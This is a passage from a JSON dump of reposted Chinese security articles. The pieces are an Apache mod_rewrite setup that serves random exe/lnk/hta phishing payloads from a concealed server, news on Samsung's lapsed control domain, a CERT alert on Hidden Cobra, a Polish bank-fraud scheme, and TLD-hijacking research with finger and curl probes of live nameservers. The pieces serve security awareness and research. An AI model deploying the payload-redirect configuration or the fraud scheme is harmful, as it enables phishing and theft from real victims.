payload.lnk|payload.hta|payload.exe</code><p>上述代码中windows就是触发的key，以及payload.link,payload.hta,payload.exe则是变量。当RewriteMap函数被调用时，此时就会提供windows这个Key,然后通过管道符号分割的变量就会随机选取一个。我们可以增加多次payload名字，以便它可以更大概率的输出。这个文件可以立即更新，所以修改这个文件之后无需重启apache服务。如果你确定有的payload不起作用了，你完全可以在payload.txt中删除。</p><p>通过以下命令开启依赖的mod_rewrite模块，重启apache服务。</p><code lang=\"text\">a2enmod rewrite proxy proxy_http &amp;&amp; service apache2 restart</code><p>启动的最后一步就是创建htaccess文件，比如在/var/www/html/.htaccess文件写入如下内容：</p><code lang=\"text\">RewriteEngine On\nRewriteCond %{REQUEST_URI} ^/payload/?$\nRewriteRule ^.*$ /${payloads:windows} [L,R=302]\nRewriteCond %{REQUEST_URI} ^/payload.(exe|lnk|hta)\nRewriteRule ^.*$ http://192.168.188.134%{REQUEST_URI} [P]</code><p>以下是规则的详细划分：Enable the rewrite engine</p><code lang=\"text\">If the request’s URI starts with ‘payload’ with an optional trailing slash at the end of the URI,\nrewrite the entire request to a random value pulled from the RewriteMap file linked to \"payloads\" with the key \"windows\" This is a temporary redirect and the last rule that should be evaluated/applied to the request.\nIf the request’s URI starts with ‘payload’ and ends with the file extension exe, lnk, or hta,\nrewrite the entire request to serve the request URI from IP 192.168.188.134 (the payload server IP), and keep the user's address bar the same (obscure the teamserver's IP).</code><p>现在，服务端已经完全配置好了。</p><p>当用户连续两次访问<a href=\"http://spoofdomain.com/payload\" data-editable=\"true\" data-title=\"bluescreenofjeff.com\">bluescreenofjeff.com</a>时，第一次会提供可执行文件，第二次会提供html 应用程序(HTA)。<img src=\"v2-9fffb448941720ca967ab76bad2f9520.gif\" data-rawwidth=\"1000\" data-rawheight=\"626\" data-thumbnail=\"https://pic1.zhimg.com/v2-9fffb448941720ca967ab76bad2f9520_b.jpg\"></p><h2><strong>总结</strong></h2><p>Apache mod_rewrite为渗透测试人员以及红队提供了丰富的选择，这一方法加强了他们的攻击范围以及钓鱼攻击的成功率。这个技术可以和别的技术结合起来，会获得更大的效果。用户点击后可以尽可能的收集更多的信息。</p><br><blockquote>文章翻译自<a href=\"https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/\" data-editable=\"true\" data-title=\"Serving Random Payloads with Apache mod_rewrite\">Serving Random Payloads with Apache mod_rewrite</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/technology/5399.html\" data-editable=\"true\" data-title=\"使用apache mod_rewrite方法随机提供payloads\" class=\"\">使用apache mod_rewrite方法随机提供payloads</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-20T03:35:21.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"27459121","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-20T11:35:21+08:00","links":{"comments":"/api/posts/27459121/comments"},"url":"/p/27459121","titleImage":"","summary":"","href":"/api/posts/27459121","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"27470738":{"title":"控制域名忘记续费，三星数百万台手机陷入“任人宰割”境地","author":"hou-hou-4-12","content":"<p>由于忘记给一个已废弃应用的控制域名续费，三星数百万台旧款智能手机陷入安全风险之中，容易遭受骇客的攻击，甚至可能远程安装恶意软件。</p><p>在2014年或之前时候，三星曾在旗下Android智能手机里内置一款名为“S Suggest”的应用，可以根据目前安装应用、搜索和其它因素向用户推荐新应用。这个推荐功能需要联网才能工作，“S Suggest”把数据传至ssuggest.com，然后由ssuggest.com返回推荐结果。<img src=\"v2-8282794c61b0e61f6860c2d50e2f781a.jpg\" data-rawwidth=\"598\" data-rawheight=\"663\"></p><p>三星在2014年砍掉了“S Suggest”项目，应用的控制域名ssuggest.com也不再更新。直到最近，三星忘记给域名续费，让一位安全研究员重新注册，接管了域名的控制权。</p><p>Anubis Labs的首席技术官João Gouveia表示，他在星期一接管了域名。他说三星正在把数百万台智能手机的远控域名拱手让人，域名失效后，任何人都可以重新注册，向这数百万台手机推送恶意应用。</p><p>报道出来后，三星对Motherboard更正，表示不认同研究员的说法。官方称虽然域名被接管，但域名“无法让攻击者安装恶意软件，也不允许攻击者控制用户的手机”。</p><p>注册域名后，短短24小时内，Gouveia看到有大约210万台设备向ssuggest.com发送了6.2亿个检查或连接请求。“S Suggest”有许多权限，包括远程重启手机、安装应用或包。<img src=\"v2-04be6a50c046bdb3502b9179bfaba9b2.jpg\" data-rawwidth=\"1575\" data-rawheight=\"750\"></p><p>独立Android安全研究员Ben Actis说，如果不是Gouveia，而是一名骇客注册了ssuggest.com，那么对方可能直接就向数百万台设备去推送恶意后门和木马。三星的回应简直fucked up。</p><p>好在域名是被Gouveia注册了，使用“S Suggest”的用户暂时不用担心。Gouveia称愿意把域名给三星，“希望他们不会再丢掉了”。</p><p>三星尚未发布回应，目前还不清楚他们要怎么解决这个问题。比如联系Gouveia拿到域名，更新系统移除服务等。</p><p>而类似“为什么三星内部的项目收尾可以如此随意，以至于让手机高权限服务停止后仍可能被骇客利用”的疑惑，恐怕永远不会得到答案。</p><p>前不久还发生过另一个<a href=\"http://www.4hou.com/info/news/4104.html\" data-editable=\"true\" data-title=\"极度尴尬的事\">极度尴尬的事</a>，三星自研的Tizen系统爆出四十个漏洞，被研究员吐槽是见过最糟糕的代码。</p><p>三星安全的日常是不是已经变成天天听同行吐槽了？</p><br><blockquote>本文编译自<a href=\"https://motherboard.vice.com/en_us/article/samsung-left-millions-vulnerable-to-hackers-because-it-forgot-to-renew-a-domain\" class=\"\" data-editable=\"true\" data-title=\"Samsung Left Millions Vulnerable to Hackers Because It Forgot to Renew a Domain, Researchers Say\">Samsung Left Millions Vulnerable to Hackers Because It Forgot to Renew a Domain, Researchers Say</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/5548.html\" data-editable=\"true\" data-title=\"控制域名忘记续费，三星数百万台手机陷入“任人宰割”境地 - 嘶吼 RoarTalk\" class=\"\">控制域名忘记续费，三星数百万台手机陷入“任人宰割”境地 - 嘶吼 RoarTalk</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-20T03:25:52.000Z","canComment":false,"commentPermission":"anyone","commentCount":10,"likeCount":46,"state":"published","isLiked":false,"slug":"27470738","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-20T11:25:52+08:00","links":{"comments":"/api/posts/27470738/comments"},"url":"/p/27470738","titleImage":"","summary":"","href":"/api/posts/27470738","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":10,"likesCount":46},"27470781":{"title":"美国计算机安全应急响应组（CERT）：需警惕朝鲜黑客组织“隐藏眼镜蛇”","author":"hou-hou-4-12","content":"<p>近日，美国计算机安全应急响应组（CERT）发布了一条罕见的警戒通知（<a href=\"https://www.us-cert.gov/ncas/alerts/TA17-164A\" data-editable=\"true\" data-title=\"TA17-164A\">TA17-164A</a>），内容有关一支朝鲜政府支持的黑客组织，名为“隐藏眼镜蛇”（Hidden Cobra，商业公司报告将该黑客组织称为Lazarus Group或Guardians of Peace）。</p><p>美国联邦调查局（FBI）和国土安全局（DHS）联合发布了一份报告，提供了“DeltaCharlie”的详细信息，“DeltaCharlie”是“隐藏眼镜蛇”黑客组织在全球范围内发起DDoS僵尸网络攻击所使用的恶意软件。</p><p>报告指出，“隐藏眼镜蛇”是朝鲜政府支持的黑客组织，曾参与18国的一系列银行盗窃案，涉案金额多达几十亿美元。并且自2009年以来针对美国乃至全球的媒体、航空航天、金融和关键基础设施行业进行网络攻击。</p><p>虽然报告中，美国政府将该朝鲜黑客组织称为“隐藏眼镜蛇”（Hidden Cobra），但是此前的商业报告中习惯称其为“Lazarus Group”以及“Guardians of Peace”——该组织据称与导致全球医院和企业沦陷的WannaCry勒索软件有关。</p><h2><strong>DeltaCharlie – DDoS僵尸网络恶意软件</strong></h2><p>这份技术报告中确定了与DeltaCharlie相关的IP地址（构成“隐藏眼镜蛇”僵尸网络基础设施的一部分），DHS和FBI认为，DeltaCharlie是该朝鲜黑客组织对其目标发动分布式拒绝服务（DDoS）攻击时所使用的DDoS工具。</p><p>DeltaCharlie能够对其目标启动各种DDoS攻击，包括域名系统（DNS）攻击、网络时间协议（NTP）攻击以及字符生成协议（CGP）攻击等。</p><p>该僵尸网络恶意软件能够在受感染的系统上下载可执行文件，更新自己的二进制文件，实时更改自己的配置，终止其进程，以及激活和终止DDoS攻击。</p><p>但是，需要说明的，DeltaCharlie DDoS恶意软件并不是什么刚发现的新型工具。它最初出现在安全分析公司Novetta 2016年发布的重磅炸弹行动（<a href=\"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf\" data-editable=\"true\" data-title=\"Operation Blockbuster\">Operation Blockbuster</a>）报告中。该报告将这种工具描述为继DeltaAlpha和DeltaBravo之后，朝鲜黑客组织使用的第三个僵尸网络恶意软件。</p><p>分析发现，“隐藏眼镜蛇”组织使用的其他恶意软件还包括Destover、Wild Positron或Duuzer以及功能复杂的Hangman，其功能包括DDoS僵尸网络、键盘记录器、远程访问工具（RAT）以及数据清理恶意软件等。</p><h2><strong>“隐藏眼镜蛇”最喜欢的漏洞</strong></h2><p>自2009年以来，“隐藏眼镜蛇”攻击的对象通常都是运行旧版本（不受Microsoft官方补丁支持）的操作系统，或是利用Adobe Flash Player软件漏洞作为入侵受害者设备的切入口。</p><p>以下就是“隐藏眼镜蛇”组织喜欢用于影响各种应用程序的已知漏洞：</p><code lang=\"text\">CVE-2015-6585：韩语文字处理器漏洞\nCVE-2015-8651: Microsoft Silverlight漏洞\nCVE-2016-0034: Adobe Flash Player 18.0.0.324 和19.x 漏洞\nCVE-2016-1019: Adobe Flash Player 21.0.0.197漏洞\nCVE-2016-4117: Adobe Flash Player 21.0.0.226 漏洞</code><p>报告还指出，防御这种攻击最简单的方法就是始终保持最新的操作系统，安装最新版本的软件和应用程序，以及为你的网络资产设置防火墙进行保护。</p><p>由于Adobe Flash Player自身的安全漏洞很容易诱发各种攻击，所以如果不需要Adobe Flash或Microsoft Silverlight的话，建议将其从系统中删除或及时进行更新处理。</p><p>联邦调查局和国土安全局还在报告中提供了多个攻击指示器（IOC）、恶意软件描述、网络签名以及基于主机的规则（YARA 规则）等相关信息，旨在帮助网络防御者检测这支朝鲜黑客组织所进行的活动。</p><p>警报通知写道，</p><blockquote><p>如果用户或管理员检测到任何疑似‘隐藏眼镜蛇’组织所使用的自定义工具，则应立即将这些工具进行标注，并向DHS国家网络安全通信和集成中心（NCCIC）或联邦调查局网络监视部（CyWatch）进行报告。</p></blockquote><p>此外，DHS和FBI还在报告中为用户和网络管理员提供了一系列缓解措施，详细信息可以点击<a href=\"https://www.us-cert.gov/ncas/alerts/TA17-164A\" data-editable=\"true\" data-title=\"报告\">报告</a>进行查阅。</p><br><blockquote>本文翻译自：<a href=\"http://thehackernews.com/2017/06/north-korea-hacking-malware.html\" data-editable=\"true\" data-title=\"US Warns of 'DeltaCharlie' – A North Korean DDoS Botnet Malware\">US Warns of 'DeltaCharlie' – A North Korean DDoS Botnet Malware</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/info/news/5477.html\" data-editable=\"true\" data-title=\"美国计算机安全应急响应组（CERT）：需警惕朝鲜黑客组织“隐藏眼镜蛇” - 嘶吼 RoarTalk\" class=\"\">美国计算机安全应急响应组（CERT）：需警惕朝鲜黑客组织“隐藏眼镜蛇” - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-20T03:27:58.000Z","canComment":false,"commentPermission":"anyone","commentCount":6,"likeCount":8,"state":"published","isLiked":false,"slug":"27470781","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-20T11:27:58+08:00","links":{"comments":"/api/posts/27470781/comments"},"url":"/p/27470781","titleImage":"https://pic1.zhimg.com/v2-a0b04c864324ddcda51c40025be54310_r.png","summary":"","href":"/api/posts/27470781","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":6,"likesCount":8},"27470797":{"title":"打劫也得讲艺术，如何通过登录社交账号榨干你的钱包？","author":"hou-hou-4-12","content":"<p>今天我们想告诉你波兰银行的攻击者在实施攻击时到底有多么有创意？</p><p>本文我们就来介绍完整的攻击过程，首先从简单的Facebook帐户入侵开始，到盗取受害者的银行帐户余额，到最后将其转入攻击者自己的比特币BTC钱包。</p><h2><strong>攻击过程还原</strong></h2><p>这一切都是从Facebook帐户的入侵开始，攻击者可能是通过恶意软件或网络钓鱼而截获的帐户凭据，目前大多数用户仍然不会使用双因素验证，攻击者一旦登录受害者的帐户，就开始通过聊天记录，选择与该帐户所有者保持良好关系的好友，比如该受害者是孙子，而常聊天的是其祖母，攻击者就调出他们之间的特定对话进行分析，然后开始一种相同风格和语调，欺骗他的祖母：</p><p>“奶奶，我的话费不够了，你可以帮我充5欧元话费吗？”</p><p>如果奶奶同意支付5欧元话费，她将收到一个“付款链接”。</p><code lang=\"text\">https://dotpay.pl.platnosc.link/</code><p>DotPay是波兰一家在线支付提供商，“platnosc”是波兰语的“付款”的意思。付款中介在波兰市场非常受欢迎，他们与所有主要银行签订合同，这样互联网购物就无需信用卡。在结帐期间，用户只需点击付款提供商给予的链接，登录到其银行帐户的网站即可，而且该账户已经将所需的信息都提前设置好了。银行只提供通过短信发送的一次性代码，以确定交易的发生。</p><p>于是攻击者就决定模仿其中一个支付中介商的网站：<img src=\"v2-1641ed68c987e4ea09580ddf28872346.png\" data-rawwidth=\"768\" data-rawheight=\"780\"></p><p>一旦奶奶决定帮助她的孙子，并在假付款提供商网站上选择她的银行，她就将被重定向到假银行登录页面。波兰一些最受欢迎的银行的例子如下：<img src=\"v2-166a8507eebba87a9346c0ffd86c89dd.png\" data-rawwidth=\"150\" data-rawheight=\"150\"></p><p>如果她输入了银行的登录名和密码，她将获得一个SMS代码，以确认发生5欧元的交易。虽然她只允许了一个5欧元的转账交易，但攻击者是如何盗取她的整个账户？</p><p>攻击者发现了一个简单而又聪明的技巧，以确保收到的短信内容为“您已进行了5欧元的转账”，而现实中该代码也将批准创建一个所谓的“信任转移”，这将使攻击者能够进一步转移从相同的帐号中进行资金转移，而无需通过短信代码的额外授权。几个月前我们在波兰观察到这个方案的一些改进版本。</p><p>为了方便网络银行的操作简单，大多数银行都允许客户将指定账户添加到“受信任”账户中，以方便银行转账，转账时用户只需要在要转移的账号前打个勾即可。不幸的是，批准一次转帐也可能意味着所有进一步的资金转移都指向同一帐户。<img src=\"v2-8f6b9b10b4e3c84ec34632ef52ebf4be.png\" data-rawwidth=\"897\" data-rawheight=\"580\"></p><p>红色框中的文本表示“添加到收件人列表”，这意味着“不会要求短信代码以便将来转移到此帐号”。</p><p>攻击者的最后一个障碍便是建立他们自己的银行帐号，并将其设置为可信赖的账号，它们通常是为欺诈准备的钱骡子银行帐户。攻击者又将同一骡子帐户在波兰比特币交易所开了一个BTC钱包账户，并在那里预存了一些资金，以建立一个定期的转账模式，这样做是为了避免银行打电话询问“你确定今天要用加密的货币来转之类的问题。 “转账”账户通常被选为与受害人（奶奶）账户相同的银行（用于方便快速转账），一旦这笔钱从奶奶账户中被盗，则攻击者不到15分钟，就会将其转换为比特币。而在另一个变体中，攻击者直接是从受害人的账户直接转到比特币交易所的账户。</p><h2><strong>总结</strong></h2><p>整个计划很难被银行发现和阻止，因为它主要发生在银行管理的权限之外。攻击者从Facebook开始，等到账户被攻破后，就进入到攻击者所设计的平台，而攻击者登录银行进行资金转移都属于手续正常的操作，唯一的破绽就是主要是在受害者设备上的Socks代理端口上，只有配备高级检测机制的网络安检机构才能检测并处理这些攻击。</p><br><blockquote>本文翻译自：<a href=\"https://badcyber.com/from-full-facebook-account-takeover-to-an-empty-bank-account/\" data-editable=\"true\" data-title=\"From full Facebook account takeover to an empty bank account\">From full Facebook account takeover to an empty bank account</a> ，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/info/5469.html\" data-editable=\"true\" data-title=\"打劫也得讲艺术，如何通过登录社交账号榨干你的钱包？ - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">打劫也得讲艺术，如何通过登录社交账号榨干你的钱包？ - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou  </blockquote>","updated":"2017-06-20T03:30:01.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":7,"state":"published","isLiked":false,"slug":"27470797","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-20T11:30:01+08:00","links":{"comments":"/api/posts/27470797/comments"},"url":"/p/27470797","titleImage":"https://pic4.zhimg.com/v2-459def393c6e78b92ea5c646fe881787_r.jpg","summary":"","href":"/api/posts/27470797","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":7},"27470805":{"title":"利用“域名后缀”的漏洞劫持国家顶级域名（一）","author":"hou-hou-4-12","content":"<p>域名是互联网基础的一部分，我们时刻都在使用它。然而，大多数使用域名的人却很少了解域名是如何工作的。由于涉及到许多抽象层的东西和各种网络服务，所以许多人可以任意的拥有一个域名并建立一个网站，而不需要知道有关DNS，注册商甚至WHOIS的任何知识。虽然这种情况有很多比较积极的好处，但它也掩盖了最终客户需要知道的许多重要信息。例如，许多注册商非常乐意给你宣传.io域名，但是有多少个.io 域名的持有者知道实际上到底是谁拥有并管理着.io域名？我不认为大多数域名所有者对域名背后的事情几乎一无所知是一个很夸张的说法。那么有一个问题：“域名后缀跟踪记录对安全来说意味着什么？”</p><h2><strong>DNS结构简介</strong></h2><p>如果你已经知道DNS是如何工作和被委派的，请随时跳过本章节。</p><p>那么当你购买域名时，你到底购买了什么？从根本上来说，你只需购买一些NS（名称服务器）记录，这些记录将被托管在域名后缀的名称服务器上（这当然不包括二级服务，如WHOIS，注册管理机构/注册商运营成本以及其他费用）。为了更好地了解域名后缀在DNS链中的地位，我们来看一下example.com的代理流程图。我发现，要了解清楚DNS的运作方式，可视化的方式是非常有益于理解的，所以我写了一个名为TrustTrees的工具，它构建了一个域名的委派路径图：<img src=\"v2-e3006385750883bcbd300cc541363591.png\" data-rawwidth=\"865\" data-rawheight=\"396\"></p><p>上图显示了从根节点DNS服务器开始的委托链。服务器对于它所不熟悉的DNS委托的过程，它会通过连续的引用链进行工作，直到找到目标名称服务器。寻找DNS查询的结果的客户端将从根节点服务器开始，查询其中一个根节点名称服务器以获取给定DNS查询的应答。根节点服务器可能没有找到DNS查询的结果，于是将查询委托给了顶级域名（TLD），TLD会依次将查询请求委托给适当的域名服务器等等，直到收到<a href=\"https://serverfault.com/questions/413124/dns-nslookup-what-is-the-meaning-of-the-non-authoritative-answer\" data-editable=\"true\" data-title=\"权威的应答结果\">权威的应答结果</a>，以便确认域名服务商的应答是正确的。上图显示了可能发生的所有可能的委托路径（蓝色表示权威性应答）。之所以有许多路径，是因为DNS的响应中包含了随机顺序的应答列表（称为轮询调度Round Robin DNS），以便为查询提供负载平衡。根据结果的顺序，可以查询不同的名称服务器以获得应答，从而可以提供完全不同的结果。该图显示了所有的排列顺序并显示了所有这些名称服务器之间的关系。</p><p>因此，如上所述，如果你购买了example.com，.com注册商将在其DNS区域中添加一些NS记录，将DNS的任何DNS查询委托给你提供的名称服务器。对你的域名服务器的委派是真正为你提供控制域名和为example.com创建任意子域名和DNS记录功能的操作。如果.com的拥有组织决定删除委托给你的名称服务器的名称服务器（NS）记录，那么就没有人会正常解析你的名称服务器，因此example.com也将停止工作。</p><p>在上述委派链中采取这一步，你可以用与任何其他域名大致相同的方式来思考TLD和域名后缀是怎么一回事。TLD之所以存在且可以运行，是因为根节点的名称服务器将查询委托给了TLD的名称服务器。如果根节点名称服务器突然决定从其区域数据库中删除.com NS记录，那么所有.com域名都将处于一个糟糕的世界里，基本上将不复存在也不能被正常访问。</p><h2><strong>就像域名一样，域名后缀可能会受到名称服务器漏洞的攻击</strong></h2><p>现在我们已经知道，TLD和域名后缀的名称服务器就像普通域名是一样的，问题是“ 这是否意味着TLD和域名后缀可能会受DNS域名安全问题的影响？“。答案当然是肯定的。如果你在本博客中看过之前的一些文章，你就会看到我们已经可以通过各种方式来劫持域名服务器。我们已经发表了<a href=\"https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html\" data-editable=\"true\" data-title=\"过期的域名是如何导致域名被劫持\">过期的域名是如何导致域名被劫持</a>的，我们还看到有<a href=\"https://thehackerblog.com/the-orphaned-internet-taking-over-120k-domains-via-a-dns-vulnerability-in-aws-google-cloud-rackspace-and-digital-ocean/index.html\" data-editable=\"true\" data-title=\"很多托管的DNS提供商允许获得对域的区域的控制，而没有对所有权进行任何验证\">很多托管的DNS提供商允许获得对域的区域的控制，而没有对所有权进行任何验证</a>。从我们在这些探索中学到的教训，我们可以应用相同的知识来尝试更多有趣的测试：</p><h2><strong>拿下目标域名后缀的攻击计划</strong></h2><p>与恶意攻击者不同的是，我不愿意采取许多可能让你快速实现劫持域名扩展目标的行动。在攻击域名后缀的研究方法的过程中，我发现许多域名后缀/或TLD名称服务器和注册商在一开始就处于一个糟糕的状态，所以利用和获得控制权实际上比许多人想象的要容易得多。尽管我考虑到在注册商/域名服务器上获得远程代码执行的策略，但是我仍然会提及这些可以成功入侵目标的可行途径，因为现实世界里的攻击者不太关心所谓的伦理道德。</p><p>一般来说，以下是我想出的入侵TLD 或域名后缀的一些方法：</p><ul><li><p>利用托管了某个域名后缀的DNS服务器中的漏洞，或利用托管在域名后缀名称服务器上的任何其他服务的漏洞。攻击注册机构也属于这一类别，因为他们有能力在正常运行的情况下更新这些域的Zone。</p></li><li><p>查找并注册具有权威性的且已过期或输入错误      的域名服务器的域名后缀或 TLD。</p></li><li><p>通过在托管提供商中重新创建DNS区域来劫持域名后缀，该域不再具有托管的域名后缀。</p></li><li><p>劫持与TLD的WHOIS联系信息相关联的电子邮件地址（如IANA根区域数据库中所列出的地址）。</p></li></ul><p>接下来我们将介绍这些方法，并讨论在调查这些途径时发现的一些结果，作为我们拿下目标的可能途径。</p><p>存在漏洞的TLD和域名后缀名称服务器实际上是非常普遍的</p><p>为了开始研究第一种攻击方法，我决定对所有的TLD名称服务器进行简单的端口扫描。在完美的世界中，你希望看到的是在所有其他端口关闭时监听UDP / TCP协议的53端口的服务器列表。鉴于这些名称服务器的强大地位，重要的是尽可能缩小扫描范围。暴露的任何其他服务（如HTTP，SSH或SMTP）都是攻击者进行漏洞利用的一些途径，以便能继续入侵目标的TLD /域名后缀。</p><p>这部分有点尴尬，因为我只是想描述下具体情况，而不鼓励你发起任何恶意活动。在这次调查过程中，只是简单地浏览了顶级域名（TLD）名称服务器上托管的网站就发生了几种情况，从而导致了很大的攻击可用性指标，甚至在某些情况下能发现是之前被入侵的痕迹。我将忽略所有这些东西，仅使用一些关键的例子来说明这一点。</p><h2><strong>指示服务</strong></h2><ul><li><p>203.119.60.105（e.dns-servers.vn）：越南的.vn TLD的权威名称服务器</p></li><li><p>202.29.151.3（munnari.oz.au）：波斯尼亚和黑塞哥维那的.ba TLD的权威性名称服务器。</p></li></ul><p><a href=\"https://en.wikipedia.org/wiki/Finger_protocol\" data-editable=\"true\" data-title=\"指示服务协议（Finger protocol）\">指示服务协议（Finger protocol）</a>于1971年由莱斯·欧内斯特设计，其目的是允许用户检查远程计算机上的用户的状态。这是一个令人难以置信的老旧协议，已经不在任何现代系统上使用。协议的想法本质上是回答“嘿，Dave现在正在使用他的设备吗？他正在忙吗？“ ，用指示协议可以检测远程用户的登录名、真实名称、终端名称、空闲时间、登录时间、办公地点以及办公电话等等。接下来，我们会利用Finger协议来检查上面那个波斯尼亚的权威名称服务器，然后查看root用户的情况：</p><code lang=\"text\">bash-3.2$ finger -l root@202.29.151.3 [202.29.151.3]\nLogin: root                       Name: Charlie Root\nDirectory: /root                        Shell: /bin/sh\nLast login Sat Dec 14 16:41 2013 (ICT) on console\nNo Mail.\nNo Plan.</code><p>看起来root用户已经很久没有登录过了！我们来看看越南的一个域名服务器：</p><code lang=\"text\">bash-3.2$ finger -l user@203.119.60.105\n[203.119.60.105] Login name: nobody                In real life: NFS Anonymous Access User\nDirectory: /                        \nNever logged in.\nNo unread mail\nNo Plan. \nLogin name: noaccess              \nIn real life: No Access User\nDirectory: /                        \nNever logged in.\nNo unread mail\nNo Plan. \nLogin name: nobody4               \nIn real life: SunOS 4.x NFS Anonymous Access User\nDirectory: /                        \nNever logged in.\nNo unread mail\nNo Plan. \nLogin name: named                 \nIn real life: User run named\nDirectory: /home/named                  \nShell: /bin/false\nNever logged in.\nNo unread mail\nNo Plan.\nbash-3.2$ \nbash-3.2$ finger -l root@203.119.60.105 \n[203.119.60.105]\nLogin name: root                  In real life: Super-User\nDirectory: /                            \nShell: /sbin/sh\nLast login Tue Sep 30, 2014 on pts/1 from DNS-E\nNo unread mail\nNo Plan.</code><p>root用户的最后一次登录日期是2014年9月30日。Figure协议均安装在这些名称服务器上，你可以想想这些服务器有多老了。</p><p><strong>动态网站</strong></p><p>可能在53之后，最常见的开放名称服务器的一个端口是80端口（HTTP）。一些最有趣的结果就来自于访问这些网站。例如，一个名称服务器将我重定向到了一个广告网络：</p><code lang=\"text\">* Rebuilt URL to: http://93.190.140.242/\n*   Trying 93.190.140.242...\n* Connected to 93.190.140.242 (93.190.140.242) port 80 (#0)\n&gt; GET / HTTP/1.1\n&gt; Host: 93.190.140.242\n&gt; Accept: */*\n&gt; User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0\n&gt; \n&lt; HTTP/1.1 302 Moved Temporarily\n&lt; Server: nginx/1.10.1\n&lt; Date: Sun, 04 Jun 2017 03:16:30 GMT\n&lt; Content-Type: text/html\n&lt; Transfer-Encoding: chunked\n&lt; Connection: close\n&lt; X-Powered-By: PHP/5.3.3\n&lt; Location: http://n158adserv.com/ads?key=6c6004f94a84a1d702c2b8dc16052e50&amp;ch=140.242 \n&lt;  * Closing connection 0</code><p>我仍然无法确定这是否是一台已经被入侵过的域名名称服务器，或者也可能是管理员想单纯地赚点外快而已。</p><p>其他名称服务器（例如阿尔巴尼亚的.com.al, .edu.al, .mil.al, .net.al和.nic.al名称服务器）则会返回各种配置页面，这些页面包含了关于当前服务器的一些详细信息：<img src=\"v2-d09c1e65410ae9277201e16928161cab.png\" data-rawwidth=\"865\" data-rawheight=\"404\"></p><p>无法在远程服务器（.ke，.ba和几个其他后缀的域名服务器）上运行命令行程序，那就不算完成：<img src=\"v2-10f26cc1893dec0cb469bfe245caa0e9.png\" data-rawwidth=\"865\" data-rawheight=\"391\"></p><p>此外，还有许多其他有趣的一些服务，为了保持文章简洁我就不再展示更多的细节了。在各种域名后缀名称服务器上开放的诸如SMTP，IMAP，MySQL，SNMP，RDP之类的服务端口都不是平时常见的那些端口。鉴于这些服务的攻击面很大，我认为走这条路线实现入侵的机会非常高，但是我们不会进行任何进一步的渗透测试，因为我们不想抱着恶意去行事。不过令人遗憾的是，由于大量的名称服务器安装了过时的和不安全的软件并且被管理员暴露在外部，所以这可能是一个无休止的尝试。</p><h2><strong>检查已过期的TLD和域名后缀的名称服务器的域名</strong></h2><p>我非常肯定这种攻击途径会是一种容易取得胜利的途径，所以我花了很多时间构建工具来检查这种类型的漏洞。此过程本质上是枚举给定域名后缀的所有名称服务器的主机名，然后检查是否有任何基本的域名已过期并可以注册。我遇到的主要问题是许多注册管理机构会告诉你，域名完全可用，直到你真正去尝试购买。此外，还有一些域名服务器的域名虽然已经过期，但由于某些原因，域名仍然无法注册，尽管这些域名未被标记为“预定”状态。这种扫描有个问题，它列举的接管在受限的TLD 或域名后缀空间（.gov，.edu，.int，）的结果并不准确，扫描结果其实并没有真正接管了这些TLD或域名后缀。</p><p>（未完待续）</p><br><blockquote>本文翻译自：<a href=\"https://thehackerblog.com/the-journey-to-hijacking-a-countrys-tld-the-hidden-risks-of-domain-extensions/index.html\" data-editable=\"true\" data-title=\"The Journey to Hijacking a Country's DNS - The Hidden Risks of Domain Extensions\">The Journey to Hijacking a Country's DNS - The Hidden Risks of Domain Extensions</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/web/5530.html\" data-editable=\"true\" data-title=\"利用“域名后缀”的漏洞劫持国家顶级域名（一） - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">利用“域名后缀”的漏洞劫持国家顶级域名（一） - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-20T03:34:48.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":9,"state":"published","isLiked":false,"slug":"27470805","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-20T11:34:48+08:00","links":{"comments":"/api/posts/27470805/comments"},"url":"/p/27470805","titleImage":"","summary":"","href":"/api/posts/27470805","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":9},"27489833":{"title":"强大的内网域渗透提权分析工具——BloodHound","author":"hou-hou-4-12","content":"<h2><strong>简介和背景</strong></h2><p>在今年二月，我发布了一个名为“ <a href=\"https://github.com/andyrobbins/PowerPath\" data-editable=\"true\" data-title=\"PowerPath\">PowerPath</a> ” 的POC脚本，它整合了Will Schroeder的<a href=\"https://github.com/PowerShellMafia/PowerSploit/blob/038adce56ebe3a2daf81962517123d9969463cea/Recon/PowerView.ps1\" data-editable=\"true\" data-title=\"PowerView\">PowerView</a>和Justin Warner的<a href=\"https://www.sixdub.net/?p=591\" 